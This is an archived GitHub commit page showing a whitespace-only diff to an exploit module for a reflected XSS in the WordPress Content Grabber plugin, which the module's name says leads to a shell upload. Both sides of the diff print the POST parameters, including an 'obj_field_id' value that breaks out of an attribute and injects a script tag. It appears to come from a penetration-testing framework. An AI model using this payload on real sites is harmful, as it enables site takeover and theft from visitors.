Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit c00031d

Browse files
committed
Fix alignment of hash declaration in #initial_script
1 parent a5d0560 commit c00031d

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

modules/exploits/content_grabber_reflected_xss_shell_upload.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -31,11 +31,11 @@ def vulnerable_url
3131
def initial_script
3232
create_basic_post_script(
3333
vulnerable_url,
34-
'action' => 'get_terms_taxonomies',
35-
'post_type' => 'post',
36-
'obj_field_name' => Utility::Text.rand_alpha(10),
37-
'obj_field_id' => "widget-cg_content_grabber-3-cat_id\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
38-
'cat_id_array' => '[\"1\"]'
34+
'action' => 'get_terms_taxonomies',
35+
'post_type' => 'post',
36+
'obj_field_name' => Utility::Text.rand_alpha(10),
37+
'obj_field_id' => "widget-cg_content_grabber-3-cat_id\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
38+
'cat_id_array' => '[\"1\"]'
3939
)
4040
end
4141
end

0 commit comments

Comments
 (0)